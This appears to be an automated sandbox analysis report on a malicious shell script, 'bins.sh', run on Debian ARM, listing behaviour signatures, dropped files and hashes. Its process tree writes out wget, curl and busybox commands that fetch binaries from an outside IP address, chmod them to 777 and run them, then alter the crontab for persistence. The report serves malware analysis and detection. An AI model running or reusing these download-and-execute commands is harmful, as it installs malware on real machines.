Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15/11/2024, 10:48

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241115-mv35batajq
  • SHA256 d508d06fc665b8cfe1800616aa1d486452c1994c7c6b29367d4236580d7dd3e9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1936) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          ./3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm 3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:695
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
            2⤵
            • Writes file to tmp directory
            PID:700
          • /bin/chmod
            chmod 777 EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
            2⤵
            • File and Directory Permissions Modification
            PID:703
          • /tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
            ./EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:705
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:707
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:709
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:710
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:711
                • /bin/rm
                  rm EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
                  2⤵
                    PID:715
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                    2⤵
                      PID:719
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                      2⤵
                        PID:801
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                        2⤵
                        • Writes file to tmp directory
                        PID:803
                      • /bin/chmod
                        chmod 777 dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                        2⤵
                        • File and Directory Permissions Modification
                        PID:814
                      • /tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                        ./dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                        2⤵
                        • Executes dropped EXE
                        PID:816
                      • /bin/rm
                        rm dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                        2⤵
                          PID:820
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/sH2ybVIJDTZcrByQFvEP6l1MX6boxFZ7WA
                          2⤵
                            PID:821

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W

                              • Path /tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP

                              EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7

                              • Path /tmp/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP

                              dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD

                              • Path /tmp/dlYAyhP7DwROkehnQ79zwLRGy3MP3m9MSD
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP

                              tmp.Vzrrmv

                              • Path /var/spool/cron/crontabs/tmp.Vzrrmv
                              • Size 210B
                              • SHA256 32b9ddf9a3597994b78f61ed407b19cf297048947a189bf028a89e2c7b183a6f
                              • MD5 SHA1 SHA512